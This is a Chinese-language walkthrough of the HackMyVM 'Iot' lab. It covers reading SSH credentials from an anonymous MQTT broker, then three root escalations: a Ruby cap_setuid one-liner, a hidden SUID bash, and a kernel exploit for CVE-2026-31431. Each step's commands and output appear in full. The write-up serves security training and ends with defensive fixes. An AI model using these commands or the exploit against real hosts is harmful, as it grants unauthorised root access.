HackMyVM Iot 通关记录|MQTT 凭据泄露、Ruby setuid 与 SUID bash 提权
靶机链接:Iot
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Iot | 192.168.1.115 | Debian 13 (trixie) 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、1883/tcp MQTT | 锁定攻击面:MQTT 是主要入口 |
| MQTT 匿名访问 | allow_anonymous true,无认证 | 直接订阅所有 topic |
| 凭据泄露 | ssh/login retained topic → redteam:Pentest123! | 从 MQTT 获取 SSH 凭据 |
| 初始访问 | SSH 登录 redteam | 获得低权限 shell |
| User Flag | /home/redteam/user.txt | 第一个 flag |
| 提权方法一 | ruby -e 'Process::Sys.setuid(0); ...' | 推荐:单行命令,真实 uid=0,无需上传 |
| 提权方法二 | /var/tmp/.suid_bash -p | 备选:隐藏 SUID bash,euid=0 |
| 提权方法三 | CVE-2026-31431 AF_ALG/splice | 备选:内核漏洞,需上传 exploit 并清理 |
| Root Flag | /root/root.txt | 第二个 flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口扫描
先用 RustScan 做快速端口发现,并让 Nmap 接手服务识别与脚本扫描:
rustscan -a 192.168.1.115 --range 1-65535 -b 4500 -- -sV -sC -oN rustscan_initial.txt
扫描结果:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0) |
| 1883/tcp | MQTT | Mosquitto version 2.0.21 |
分析: 目标暴露面非常收敛,仅开放 SSH 与 MQTT 两个端口。SSH 通常需要凭据,优先分析 MQTT 服务。MQTT(Message Queuing Telemetry Transport)是 IoT 设备常用的轻量级消息协议,默认端口 1883。
2. 目标信息汇总
通过 Nmap 指纹和后续信息收集确认的系统环境:
IP: 192.168.1.115 (enp0s3) / 192.168.56.109 (enp0s8)
Hostname: iot.lan
MAC: 08:00:27:DA:E2:C9 (Oracle VirtualBox)
OS: Debian GNU/Linux 13 (trixie)
Kernel: 6.12.74+deb13+1-amd64
用户: root, redteam (uid 1001)
0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)
1. MQTT 匿名访问 — 关键发现
Nmap 的 mqtt-subscribe 脚本自动订阅了 MQTT topic #(通配符,匹配所有 topic),在扫描结果中直接泄露了 SSH 凭据:
| mqtt-subscribe:
| Topics and their most recent payloads:
| ssh/login: redteam:Pentest123!
| $SYS/broker/version: mosquitto version 2.0.21
| ...
关键发现:
- MQTT broker 允许匿名访问(无需用户名/密码)
ssh/logintopic 存储了 retained(保留)消息:redteam:Pentest123!- 这直接泄露了 SSH 登录凭据
2. 手动验证 MQTT 消息
使用 mosquitto_sub 工具手动订阅所有 topic 以确认凭据:
# 订阅所有 topic,显示 retained(保留)消息
timeout 10 mosquitto_sub -h 192.168.1.115 -t "#" -v --retained-only
输出:
ssh/login redteam:Pentest123!
验证只有这一条 retained 消息,确认凭据为 redteam:Pentest123!。
3. 监控实时消息
# 订阅所有 topic 的实时消息,持续 15 秒
timeout 15 mosquitto_sub -h 192.168.1.115 -t "#" -v
输出: 无实时消息在传输(超时退出,仅捕获到一条 retained 消息)。
结论: 靶机当前没有活跃的 MQTT 消息发布,ssh/login 是之前发布后被 broker 持久化的 retained 消息。
4. SSH 初始访问
使用获取的凭据登录 SSH:
# 先清除旧的 SSH 主机密钥(如果之前连接过该 IP)
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.115'
# SSH 连接
sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 'id; uname -a'
输出:
uid=1001(redteam) gid=1001(redteam) groupes=1001(redteam),100(users)
Linux iot 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64 GNU/Linux
已成功获取 redteam 用户 shell。
0x04 本地信息收集与 User Flag
1. 系统基本信息
sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 \
'id; uname -a; cat /etc/os-release; cat /etc/passwd | grep -E "(/bin/bash|/bin/sh)"'
输出:
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
VERSION_ID="13"
root:x:0:0:root:/root:/bin/bash
redteam:x:1001:1001:,,,:/home/redteam:/bin/bash
系统仅有两个可登录用户:root 和 redteam。
2. Sudo 权限检查
sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 \
'echo "Pentest123!" | sudo -S -l 2>/dev/null'
输出:
Désolé, l'utilisateur redteam ne peut pas utiliser sudo sur iot.
redteam 没有 sudo 权限,无法通过 sudo 直接提权。
3. 发现 user.txt(第一个 Flag)
ls -la /home/redteam/
输出:
total 32
drwx------ 3 redteam redteam 4096 3 juin 09:36 .
drwxr-xr-x 3 root root 4096 3 juin 09:21 ..
-rw------- 1 redteam redteam 11 3 juin 09:36 .bash_history
-rw-r--r-- 1 redteam redteam 220 3 juin 09:17 .bash_logout
-rw-r--r-- 1 redteam redteam 3526 3 juin 09:17 .bashrc
drwxrwxr-x 3 redteam redteam 4096 3 juin 09:22 .local
-rw-r--r-- 1 redteam redteam 807 3 juin 09:17 .profile
-rw-rw-r-- 1 redteam redteam 65 3 juin 09:22 user.txt <-- FLAG!
cat /home/redteam/user.txt
User Flag:
4a8e67f8bb252d0b4feab103b8d58f553644f39d33314beff8b9214879451de1
0x05 权限提升 (Privilege Escalation)
三种提权方法按优先级排列 — 优先使用方法一,最简单且无需上传任何文件。
方法一:Ruby cap_setuid(推荐,真实 uid=0)
在本地枚举 capability 时,发现 Ruby 3.3 具备 cap_setuid=ep:
/usr/sbin/getcap -r / 2>/dev/null
关键输出:
/usr/bin/ruby3.3 cap_setuid=ep
这意味着 Ruby 进程可以调用 setuid(0) 把真实 UID 切到 root。利用时无需上传文件,直接用一行 Ruby 命令即可提权并读取 root flag:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash", "-p", "-c", "id; cat /root/root.txt"'
输出:
uid=0(root) gid=1001(redteam) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
uid=0(root) 是真实 uid,不是 euid。与其他方法相比权限更彻底(例如可以 kill -9 任意进程、修改进程的 dumpable 属性等)。
优点: 单行命令 / 无需上传任何文件 / 不修改系统 / 真实 uid=0
验证 Ruby 可用性:
which ruby # /usr/bin/ruby
ruby --version # ruby 3.3.8 (2025-04-09) [x86_64-linux-gnu]
方法二:隐藏 SUID Bash(备选,有效 uid=0)
如果不使用 Ruby 这条路径,可以继续检查 SUID 文件。枚举结果中出现了一个不属于标准 Debian SUID 集合的隐藏文件:
find / -perm -4000 -type f 2>/dev/null
输出:
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/su
/var/tmp/.suid_bash <-- 异常!隐藏的 SUID root bash
关键点在最后一行:/var/tmp/.suid_bash 是一个 4755 root:root 的隐藏 SUID bash。进一步确认它和系统 bash 内容一致,并且确实带有 SUID 权限:
# 验证:SUID bash 副本 = 系统 bash 副本
md5sum /var/tmp/.suid_bash /bin/bash
# 9c5c87555c7f6864b5853080f1aaf6b8 /var/tmp/.suid_bash
# 9c5c87555c7f6864b5853080f1aaf6b8 /bin/bash
stat /var/tmp/.suid_bash | grep -E "Accès|UID|Modif"
# Accès : (4755/-rwsr-xr-x) UID : (0/root) GID : (0/root)
# Modif. : 2026-04-30 22:00:54
确认后即可使用 bash privileged mode 保留 euid=0 并读取 root flag:
/var/tmp/.suid_bash -p -c 'id; cat /root/root.txt'
输出:
uid=1001(redteam) gid=1001(redteam) euid=0(root) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
此方法 uid=1001(redteam),仅有 euid=0,并非完全 root 身份。
来源分析: 该文件 /bin/bash 独立副本(md5: 9c5c87555c7f6864b5853080f1aaf6b8 与 /bin/bash 一致),创建于 2026年4月30日(靶机镜像构建时植入),是靶场预设的"隐藏钥匙"。
方法三:CVE-2026-31431 内核漏洞(备选,会修改系统文件)
前两种方法均不可用时,使用内核漏洞。注意:此方法会修改 /bin/bash 的权限位,需清理恢复。
3.1 漏洞检测
首先克隆开源项目并编译:
# 克隆 C 语言版本的 Copy Fail 项目
git clone https://github.com/tgies/copy-fail-c.git
cd copy-fail-c
# 编译检测器和 exploit(需要 gcc + make)
make
编译产物:
vulnerable— 非破坏性漏洞检测器exploit— binary-mutation 利用程序(将/bin/bash置为 SUID root)exploit-passwd—/etc/passwdUID-flip 变体(备选)
# 将检测工具上传到靶机
scp vulnerable redteam@192.168.1.115:/tmp/vulnerable
# 执行检测
ssh redteam@192.168.1.115 'cd /tmp && chmod +x ./vulnerable && ./vulnerable; echo $?'
输出:
[!] VULNERABLE
CHECK_RC=100
检测结果: 靶机 存在 CVE-2026-31431 (Copy Fail) 漏洞。
3.2 漏洞利用
使用 exploit 触发 AF_ALG/splice page-cache mutation,将 /bin/bash 置为 SUID root:
# 上传 exploit 到靶机
scp exploit redteam@192.168.1.115:/tmp/exploit
# 执行 exploit
ssh redteam@192.168.1.115 'cd /tmp && chmod +x ./exploit && ./exploit'
Exploit 执行后利用 SUID bash 读取 root flag:
ssh redteam@192.168.1.115 '/bin/bash -p -c "id; cat /root/root.txt"'
输出:
uid=1001(redteam) gid=1001(redteam) euid=0(root) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/redteam/user.txt - 内容:
4a8e67f8bb252d0b4feab103b8d58f553644f39d33314beff8b9214879451de1
Root Flag
- 路径:
/root/root.txt - 内容:
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
复盘总结
这台 Iot 靶机的攻击链清晰但提权路径多样:MQTT 匿名访问泄露 SSH 凭据 → SSH 初始访问 → 三种提权方法可选。
-
MQTT 匿名访问是第一道防线失守。
allow_anonymous true导致任何人都可以连接 broker 并订阅所有 topic。在生产环境中,MQTT broker 必须启用认证(用户名/密码或 TLS 客户端证书),并实施 topic 级别的 ACL 访问控制。 -
Retained 消息是持久化的信息泄露源。 MQTT 的 retained 消息机制意味着一旦发布带
-r标记的消息,broker 会永久存储该消息。即使发布者已下线,任何新订阅者都会立即收到该消息。敏感信息绝不应通过 retained topic 传递。 -
凭据不应硬编码在脚本中。
pub.sh将redteam:Pentest123!明文写入脚本并通过 MQTT 传输。应使用密钥管理方案或 SSH key 认证替代密码。 -
提权有优先级,先用最简单的。 靶机提供了三把"钥匙":Ruby setuid(真实 uid=0,单行命令)、隐藏 SUID bash(euid=0,无需上传)、CVE-2026-31431 内核漏洞(最后手段)。优先选择不修改系统、不需要上传文件的方法。
-
三种提权方法的差异值得注意。 Ruby 的
Process::Sys.setuid(0)获取的是真实 uid=0,比 SUID bash 的euid=0权限更彻底;内核漏洞则修改了/bin/bash的权限位,需要清理恢复。在渗透测试报告中应注明使用了哪种方法及对系统的影响。 -
root crontab 不能独立提权。
pub.sh的 cron 任务虽然以 root 身份每分钟执行,但脚本、目录、PATH 均不可写,脚本仅做单向 MQTT 发布不接收外部命令 — 它只负责信息泄露(初始访问),不负责提权。 -
psimon 分析说明要敢排除干扰。 两个名为
psimon的内核线程看起来很可疑,但通过系统化分析 —/proc、/sys、/dev接口、内核字符串位置 — 可以确认它是 PSI 子系统的正常组件。
防守侧修复建议:
- MQTT broker 必须启用认证(
allow_anonymous false),配置用户名/密码或 TLS 证书 - MQTT topic 应实施 ACL 访问控制,限制哪些用户可以订阅/发布哪些 topic
- 不要在 retained 消息中传递凭据、密钥或任何敏感信息
- 凭据使用密钥管理服务,避免在脚本中硬编码
- 清理系统中的隐藏 SUID 后门文件(
/var/tmp/.suid_bash) - 及时更新内核安全补丁,修复 CVE-2026-31431 等内核漏洞
- 对外部 MQTT broker 通信实施 TLS 加密和双向认证